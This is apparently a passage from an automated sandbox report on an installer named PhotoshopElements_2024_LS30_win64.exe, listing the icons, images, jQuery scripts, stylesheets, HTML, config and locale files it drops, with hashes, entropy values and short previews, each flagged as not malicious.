Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sRGB.........IDAT(......@.E.I..-....;+.;.t~......~C^?..ll...A."U...{EC.W/Lvv..e#L..)...B4.J..y........of."i..C....w.8A@.$I..m......g..,R.O...y[.0(.Y..nq...4m.v..cg.q..q...)......\.=fY6 ..~X.{.)aYV...u.E. .^.....\....u}....4....0i...._.[..?X.`W...a....IB.....z`AG.w....IEND.B`.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\dropdown.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	224
Entropy (8bit):	6.637350346135181
Encrypted:	false
SSDEEP:	6:6v/lhPIcR8R1VpDijzdQ/xaC8VAld1O55Uh5Op:6v/7DR8dDiju/4NY42h58
MD5:	EE8599707751BEFDDB2B94BC79525C15
SHA1:	E118B48E25FE42D933377B03FB5A9A710E1C5CAA
SHA-256:	C1F6844923F7C311D996D81EED6D8E769D52DF6D95C898187D92997ABBB2770B
SHA-512:	CDCE6D59C807DD1D2B13AF39E2FE078B0C0AD51B021DC30373E18BDE2A807449051F3F9084AFA15B2F6D943169C1BC246C7DBE6E965DDACACB961F67269FB548
Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sRGB.........IDAT(..;..!.E...4..]..4$H3..J..Wa\..=..C.M...K.._...14J).Zkc..RJy}..!.sW..9.Dl.9y.....c.........r=p.p...vL.....z%.$.I..0.."...j..3Q..U......&.mt>stFC........IEND.B`.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\dropdown.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.117544094088991
Encrypted:	false
SSDEEP:	6:tvKIiad4mc4sl3ULAmXKPqLujc6QwF2c47WiBCLQwJHrdGolljqSG7Y:tvG16naPqLujKwF2cGWiB+QwJHZljpGE
MD5:	4585F70294E7B625DCD1EA8C585067A5
SHA1:	11C92AE523B0C588C5469814B0C3C7778CB3F133
SHA-256:	7E58A1CCE147DF03605A92FFDA1B88CA26005C09D1EB9AE56F37ACCDEBBFE348
SHA-512:	DEB1CE83D9BDFF93EFF950ED267076E5E8A7BB43CD2DDE28561C3D07F68094A9C99DF594BF2FDCB38FDDF9656CD51475108AD1B29F8C9D4BF197E6DA5A093B03
Malicious:	false
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 6"><title>dropdown</title><path d="M9,12a1,1,0,0,1-.71-.29l-4-4A1,1,0,0,1,5.71,6.29L9,9.59l3.29-3.29a1,1,0,0,1,1.41,1.41l-4,4A1,1,0,0,1,9,12Z" transform="translate(-4 -6)" style="fill:#8e8e8e"/></svg>

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\errorIcon.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	466
Entropy (8bit):	7.326200947745523
Encrypted:	false
SSDEEP:	12:6v/78TBJ/+wTX6U5+wDXp0wYnP56fU/hktM9iRazSjlN:x3fqU5+k456fMh2MDzON
MD5:	7978536150734CEFFAF0720837E8B302
SHA1:	7C11361AF6E41D00BEFFAF4EF9E677506B32164D
SHA-256:	5D10637927B7A623428560EAF18FB8EAF439CD8731199C3B4D251B9846841183
SHA-512:	DA5BB4329783BA623E12D3DC50B2C080E8AC2AFF4D4F25DC3E1D84561FD9B40B158570B98DD24618762562674FC1B7D10E081677F214EC859ECC5D0B477DB0F7
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........IDAT8..S=K.A...;........}@..6.U....boa'.-..B.G.V.Z.....!b!.R......M.x..\|...fw.`..o4N.R.L.....k.-p.g.(.(u./yX.....r..,'...d..~.~.B.g....-....c{L.+.K.>(5..p...1"^>.8.6X'v.-)......DERW.... aG<g.1.x..T&...1..5....r9M..\|.y3.L..Ta....\|....Z.:'..Y..N.c...4..g....be.u+V...T.4.yN..F.\|....,....F.w..y;.q.G.M_..a..y`.Dd..1..R.V....I9.o..P.G).*,uS.O...F.$.m..\|#.3..MM....pO........!.I.GV..C..o..i.0.......IEND.B`.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\folder-open.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	602
Entropy (8bit):	5.170117530804048
Encrypted:	false
SSDEEP:	12:tvF6TT4I1LofEiSVE1wKc5yt/f6TZeoHuguQYWBff4vk:tW8I1cDk+Nc5S4ZtHkY4vk
MD5:	3530C5040AC9AF92CD0A7D347F764593
SHA1:	B815EF3654EC2C677E8F8F68D8527B6D8142B4E9
SHA-256:	DAF26AD61AEE6152CF7C0E8F2D3936D0C220DE2A3C329E6CE0FCC007CB64CA51
SHA-512:	0CE187A12445054E270337B6BDD6B035E8FADB3B0A4E8C822833C12431BB520340FA509AB3E1DF564CBF67700B9BA78EE246689267878D386E88F709D10C1FBD
Malicious:	false
Preview:	<svg id="S_FolderOpen_18_N" xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18">.. <defs>.. <style>.. .cls-1 {.. fill: #8e8e8e;.. fill-rule: evenodd;.. }.... .. </style>.. </defs>.. <title>S_FolderOpen_18_N</title>.. <path class="cls-1" d="M6,3L7.2,4.6,7.5,5H15V7H3V3H6ZM6.25,2H2.5a0.5,0.5,0,0,0-.5.5V7H0.288a0.25,0.25,0,0,0-.247.285L1.9,14.623A0.5,0.5,0,0,0,2.389,15H15.611a0.5,0.5,0,0,0,.485-0.377l1.864-7.338A0.25,0.25,0,0,0,17.712,7H16V4.5A0.5,0.5,0,0,0,15.5,4H8L6.65,2.2A0.5,0.5,0,0,0,6.25,2h0Z" transform="translate(0)"/>.. </svg>

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\productIcon.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3054
Entropy (8bit):	7.920741815156119
Encrypted:	false
SSDEEP:	48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
MD5:	EB5FDB63686193E55826A8DD77D64412
SHA1:	977C4788ABF0F274E74281C4DA76C0C3D2F26B76
SHA-256:	1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
SHA-512:	C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
Malicious:	false
Preview:	.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL.....,."..(U..?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.\|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.).........f..i o:...E.,....[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........\|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\spinner.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	GIF image data, version 89a, 64 x 64
Category:	dropped
Size (bytes):	19226
Entropy (8bit):	7.80743643227984
Encrypted:	false
SSDEEP:	384:9GYhZd78mNMfs/QflSegSOQkY/mdmHasA1mS0l+XIDivbyvUh:91HdFNMf7fRgSsUnA1GsGsh
MD5:	7699A4C54B1F5515A64E93FE3F801321
SHA1:	2E51F7E1A331D921EAF15BD7DC9721A742984D47
SHA-256:	9146E2390273AC868609DAC1BE7F1A0458B7D4F7ECDFE1EAEC107B3211F33AA2
SHA-512:	4810ABFECC92866145A22F73639264574958D6DB1157DA0B6FF0472C14D8171FFC633FC6BA04843FCFD617CE4F0C19633475D2501ACE48F8EE34EC8FA6FDED87
Malicious:	false
Preview:	GIF89a@.@.............w..p...y.z.......>........L..2..(~.............h............Y...k.....V...m..D............\|......I........................$\|....'}.q...d....k..A........x.....a....~......x......,..@..S.....:.....<..a...........@.....N........\..\.....e...................`...........\...n....."z.+........7........n..\|.....u.......-.....u......T.........?....=..H..C.....................................................t.....s.........................^...v........w.W.............................u....\|...........(}......._......u.............../.................o........j..c......v.......m.......................r..t........w.>.......................................V..)~.............{...........u..........s.......!..NETSCAPE2.0.....!.......,....@.@........H..A...e...&T\...e.....3j...E.B....IL8h.(.......1.I...%S.R..g.D.j..I..&,.\|...T(.F.&%R....+:.JU...J5R.Ts.%E.U.J@..)Va.Z.E..%.aWM.......A..y)...<&h..`..I.F.Jt.`.$7I.....#I

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\images\transparent.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\lib\jquery.custom-scrollbar.min.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (8681), with CRLF line terminators
Category:	dropped
Size (bytes):	14724
Entropy (8bit):	5.015214612878625
Encrypted:	false
SSDEEP:	96:gdnjU50hTj1W+owFDjHhIOku3sd9msmJBGDkZlUQVXGxKmQpq8lkpMzsASsX:anjU50hTjlomDdMXxmQU7p4WYsSsX
MD5:	AB3ADF4AFF09A1C562A29DB05795C8AB
SHA1:	F6C3F470AEA0678945CB889F518A0E9A5CE44342
SHA-256:	D05E193674C6FC31DE0503CBC0B152600F22689AD7AD72ADB35FCC7C25D4B01B
SHA-512:	44DFC748D0BD84F123F9D3F62D5EA137D9128D5BDBE45DA9A8666D09039EB179ACF0DBB3030E09896FD61E7AA5AE6DFAFFE9258D80949A64D0A7E45037791FB4
Malicious:	false
Preview:	(function(e){e.fn.customScrollbar=function(i,t){var o={skin:undefined,hScroll:true,vScroll:true,updateOnWindowResize:false,animationSpeed:300,onCustomScroll:undefined,swipeSpeed:1,wheelSpeed:40,fixedThumbWidth:undefined,fixedThumbHeight:undefined};var s=function(i,t){this.$element=e(i);this.options=t;this.addScrollableClass();this.addSkinClass();this.addScrollBarComponents();if(this.options.vScroll)this.vScrollbar=new n(this,new r);if(this.options.hScroll)this.hScrollbar=new n(this,new l);this.$element.data("scrollable",this);this.initKeyboardScrolling();this.bindEvents()};s.prototype={addScrollableClass:function(){if(!this.$element.hasClass("scrollable")){this.scrollableAdded=true;this.$element.addClass("scrollable")}},removeScrollableClass:function(){if(this.scrollableAdded)this.$element.removeClass("scrollable")},addSkinClass:function(){if(typeof this.options.skin=="string"&&!this.$element.hasClass(this.options.skin)){this.skinClassAdded=true;this.$element.addClass(this.options.skin

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\lib\jquery.min.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\lib\jquery.placeholder.min.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (3604), with CRLF line terminators
Category:	dropped
Size (bytes):	3706
Entropy (8bit):	5.0009523549199875
Encrypted:	false
SSDEEP:	96:XpxMlW2VBVevM90XmMYitDRhlE7vzWxeJ:TMA2HVWYYhK7vF
MD5:	E13F16E89FFF39422BBB2CB08A015D30
SHA1:	E7CACAF84F53997DD096AFD1C5F350FD3E7C6CE9
SHA-256:	24320ADD10244D1834052C7E75B853AA2D164601C9D09220A9F9AC1F0AE44AFE
SHA-512:	AAD811F03F59F799DA4B8FC4F859B51C39F132B7DDBFFADABE4EC2373BD340617D6FE98761D1FB86D77606791663B387D98A60FBA9CEE5D99C34F683BCB8D1F9
Malicious:	false
Preview:	/* HTML5 Placeholder jQuery Plugin - v2.3.0.. * Copyright (c)2015 Mathias Bynens.. * 2015-11-13.. */..!function (a) { "function" == typeof define && define.amd ? define(["jquery"], a) : a("object" == typeof module && module.exports ? require("jquery") : jQuery) }(function (a) { function b(b) { var c = {}, d = /^jQuery\d+$/; return a.each(b.attributes, function (a, b) { b.specified && !d.test(b.name) && (c[b.name] = b.value) }), c } function c(b, c) { var d = this, f = a(this); if (d.value === f.attr("placeholder") && f.hasClass(n.customClass)) if (d.value = "", f.removeClass(n.customClass), f.data("placeholder-password")) { if (f = f.hide().nextAll('input[type="password"]:first').show().attr("id", f.removeAttr("id").data("placeholder-id")), b === !0) return f[0].value = c, c; f.focus() } else d == e() && d.select() } function d(d) { var e, f = this, g = a(this), i = f.id; if (!d \|\| "blur" !== d.type \|\| !g.hasClass(n.customClass)) if ("" === f.value) { if ("password" === f.type) { if (!

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\main.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	assembler source, ASCII text, with very long lines (576), with CRLF line terminators
Category:	dropped
Size (bytes):	16678
Entropy (8bit):	5.078437835720232
Encrypted:	false
SSDEEP:	192:Mk4wZnKPB1d/2NUyhyNbaXDwBrgDxOsJHPYKXZXXiTEjO9izHzW/SQ:9XBzzgKXZXyQKizw
MD5:	EE23E36C90C9FCCD530504285D371AC3
SHA1:	7A4E24D18EC723D38CD922E3845FF290F0299E15
SHA-256:	32616E0764C80EFB4607A0DCCFEC7CF7862886C4AE80E6405DC3CC5C62CD0F82
SHA-512:	542937075A96F6AFB8170C6F41915EFEEC5E067803606C2A26D29E6C990D93A255AD8CEA18600CD0825A0C91FF935D057870A1724062543A8E2BC09C4041B375
Malicious:	false
Preview:	body {.. line-height: normal;.. font-family: 'Adobe Clean', sans-serif;.. height: 650px;...height:40.625rem;.. margin: 0;.. -webkit-user-select: none;.. cursor: default;..}.....container {.. height: 100%;..}....#piiScreenIcon {.. width:100%;..}....#piiScreenIconImage{.. display:block;.. margin: auto auto;..}....#piiScreenTitle {.. margin-top:10px;.. text-align : center;.. line-height: 36px;..}.....consistantPad {.. padding: 30px;.. padding: 1.875rem;..}.....pull-left {.. float: left;..}.....pull-right {.. float: right;..}.....text-center {.. text-align: center;..}.....mainContainer {.. width: 446px;.. width: 27.875rem;.. height: 650px;.. height: 40.625rem;..}.....header {...height: 65px;.. height: 4.0625rem;.. background: #1c1c1c;..}....#marketingIFrameDiv {.. height: 585px;.. height: 36.5625rem;.. width: 100%;.. display: none;..}.....centerMid {.. position: absolute;.. top: 0;.. bottom: 0;..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\main.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8889
Entropy (8bit):	4.390770211617367
Encrypted:	false
SSDEEP:	96:kPmVwag1t6ZfB6FkWuHKH5BuMt1IvodJiLWkp0pGhG:WmV/g1t61B6GWpjrdJCWME
MD5:	F4B7942D6563727BD614F10DA0F38445
SHA1:	84F22240F7A5ED1C23B09E8677AC2AC3CD4E26F9
SHA-256:	E4BEDDE22ED405D291C746440A824D5F8527FB232E7A6BE2ED9A76465D82F8DC
SHA-512:	F79B24AC78863A4ED87D41F37B2A5BC27017EBC5317F0A305D676090A16AEE8A61384B476E7E9A68A024AA8DA4784C1BD4F118766CAF4450EC97AF430E7074AF
Malicious:	false
Preview:	<!DOCTYPE html>..<html style="width: 100%; height: 100%; overflow:hidden;">..<head>.. <meta charset="UTF-8">.. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE10" />.. <title>Adobe Installer</title>.. <link rel="stylesheet" type="text/css" href="clean.css">.. <link rel="stylesheet" type="text/css" href="main.css">.. <link rel="stylesheet" type="text/css" href="common.css">....</head>....<body onload="onLoadComplete()">.. <div class="container">.... <div id="spinnerScreen" class="screen">.. <div class="spinnerContent centerMid">.. <img id="spinnerScreenImage" class="imageSpinner" />.. <span id="spinnerScreenText" class="spinnerScreenText"></span>.. </div>.. </div>.... <div class="screen consistantPad" id="surveyScreen">.. <div class="screenHead">.. <img id="surveyScreenIcon" />.. <span id="surveyScreenTitle" class="screenTitle"></span>..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\main.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (371), with CRLF line terminators
Category:	dropped
Size (bytes):	59941
Entropy (8bit):	5.0285479750353765
Encrypted:	false
SSDEEP:	1536:qMb4bHj7Bqyb6fa8xtFfs5OsKwHV7NYb2gROlIHKMUyup9c/ory985r/Mv6GN8zj:qMb4bHj7Bn6faMtFfs5OsKwHV7NYb2gq
MD5:	A8F9EB478C7512C98CA1AD46DBCC298A
SHA1:	454226DC42B911CAAFC9A1E56D8AD0000BBB7643
SHA-256:	1DF6CBDC80C1DF47D93D6E7516A2D7017362413A6B9D93634E143856695C3645
SHA-512:	AE3198CC6AE739F3009359988F5C090664E5FE8422AD1CF739FE316E66F344C10385D1F841C7B0E3CA9F7997C79D95FA0559386B6DEC10641CEB8C290B14F5B3
Malicious:	false
Preview:	/************************************************************************....* ADOBE CONFIDENTIAL..* ___________________.... Copyright 2015 Adobe Systems Incorporated..* All Rights Reserved..... NOTICE: All information contained herein is, and remains..* the property of Adobe Systems Incorporated and its suppliers,..* if any. The intellectual and technical concepts contained..* herein are proprietary to Adobe Systems Incorporated and its..* suppliers and are protected by trade secret or copyright law...* Dissemination of this information or reproduction of this material..* is strictly forbidden unless prior written permission is obtained..* from Adobe Systems Incorporated...**************************************************************************/..var popUpShownOnce = false;..var lastScreenShown = null;..if (!Array.prototype.indexOf) {.. Array.prototype.indexOf = function (obj, start) {.. for (var i = (start \|\| 0), j = this.length; i < j; i++) {.. if (t

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\Config.xml

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	537
Entropy (8bit):	5.147241145555799
Encrypted:	false
SSDEEP:	12:TMHdtTyKAywopOGmNTWe7SJJnPd+p3mv9NhuaAi4HY2:2dtTgopj2GJJnPd+p3mvXB2
MD5:	9BF27F7E06B54FC3711224323D4FA105
SHA1:	F870330D52A34C4E3F475CE117E779A510FF3501
SHA-256:	195A6EEB37951C00E8A3CD3366F0BE21AB9AA4124379D5B8EC468A9368F477FD
SHA-512:	4727BE8B5C550F3B578360512FC243CA9599112B44088066F6204B09D30238BC51100E1B45DDD549DAE0F5990A924216CC0330AAB9B036B8AB445D44306BDEC0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<Config>...<UIConfig>....<HideVersion>true</HideVersion>....<SkipLaunch>false</SkipLaunch>....<HidePIIScreen>false</HidePIIScreen>....<ShowInstallOptions>true</ShowInstallOptions>....<CarouselType>GenericCarousel</CarouselType>....<SkipAccLaunch>true</SkipAccLaunch>....<LaunchProductDetail>.....<ProductInfo>......<SAPCode>HPSE</SAPCode>......<BaseVersion>24.0</BaseVersion> ......<Platform>win64</Platform>.....</ProductInfo>....</LaunchProductDetail>...</UIConfig>..</Config>..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\appIcon.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3054
Entropy (8bit):	7.920741815156119
Encrypted:	false
SSDEEP:	48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
MD5:	EB5FDB63686193E55826A8DD77D64412
SHA1:	977C4788ABF0F274E74281C4DA76C0C3D2F26B76
SHA-256:	1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
SHA-512:	C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
Malicious:	false
Preview:	.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL.....,."..(U..?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.\|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.).........f..i o:...E.,....[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........\|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\appIcon2x.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 176 x 168, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6367
Entropy (8bit):	7.956445451701175
Encrypted:	false
SSDEEP:	192:h9MSclSloV7H9lto+rXTyjlWRixx1dYsxe:LtXo1H9Po+rDyjlWRiXXYv
MD5:	2152D117D6E4FDEB0510DA1FDCEAE7E3
SHA1:	ACD10C0B6653041E6CE4241DCCEF1445D12E2DB8
SHA-256:	4A95D46DAC22AA1477093EB7B5655A73C3C7152A985AB7A5148327E93309F985
SHA-512:	5A7AF9736FC3C7329FC680BBAA80FDD8D74F0D98D2422CC57C64B78A30D3C68F799F5E584CF1D6D283B6E827FC391130484C2726D59C70D97AE2D0774239AF2F
Malicious:	false
Preview:	.PNG........IHDR.............@2d.....pHYs...........~.....IDATx..m...y..o.+{.eaYb_..c.cC0.j-...VPLJbT\.......P...Kl.%}.j>......$;2.....G1...v....).0....e.e..n.?{g=wv.33..y.I.6./s...3..9.y&S,.I..\..D.?..(KD.Y.N. .a":FD...}.+.l.gr=;.hKI..R_<%.. d".W.....3H.p&...^$...hS8@...b.../..3......h{...x....b.o..W....\.".T.)>.v..........#.../."...Nn..W.8...Rr..xSd.M.+iL.a.gr=......(...[..B)D&..z......\|...[r#p...^.#.....T.)a...NTL!J....t5..T.]Lu....L..Da.n_=...%....}..>...K..cI2lM....G..u.../N..K....hj....%.\|..Jl....R."m.........3.... .5../..VY..9......./..]..g)S;..s....>...?Rrl)..T...2..2..z..%!u@...9O.53=V....Is.`@...;a.B.JJ....xAuc+...c...e..4:.l.....K.w...uZ.......45z..#..#..(QU[O.VnPv.M..Xj.\|.{..%.j......>@X...1..+......uVb.j..G7..8.....\|....K..#.....M/8>..r`wY....\|...^H.........U.[T.q.1t\|.........C...wO"L....f.....A..t...~..Z.:..5O1az!5zR`iD..~........H.....\|..{..JT.a....X.IW.\|..jj]....>...!.;1r...t..W0Y...G..L.. S]#.\<.....tg.6{....!

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\cs_cz\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1015
Entropy (8bit):	5.284650663061944
Encrypted:	false
SSDEEP:	24:M0X5cRWm36aKQgO3lcQgj8fPJmKhxRR+SPoy1KaY4ScBhPbxZtqy3Ui:l566JQgC7gYfPRhx6SPo1/LcXNZtp
MD5:	44DB45EFBB65BAC062FB7C8B849A203D
SHA1:	00E75EA3FADB83DFC42616DEDF831F6BF8017EDC
SHA-256:	3D4D96649072E293B76A41A497B19BC48811B2C8BE9D2742255B96751BC09FEB
SHA-512:	683D31755D68816B6CD575956C2161FF92A89C4B8C6D188683E435E6C4BE5DA621FF9819DA65EFB524C1983395154DA8DAE98ED94F236A71517BF13CE519A64B
Malicious:	false
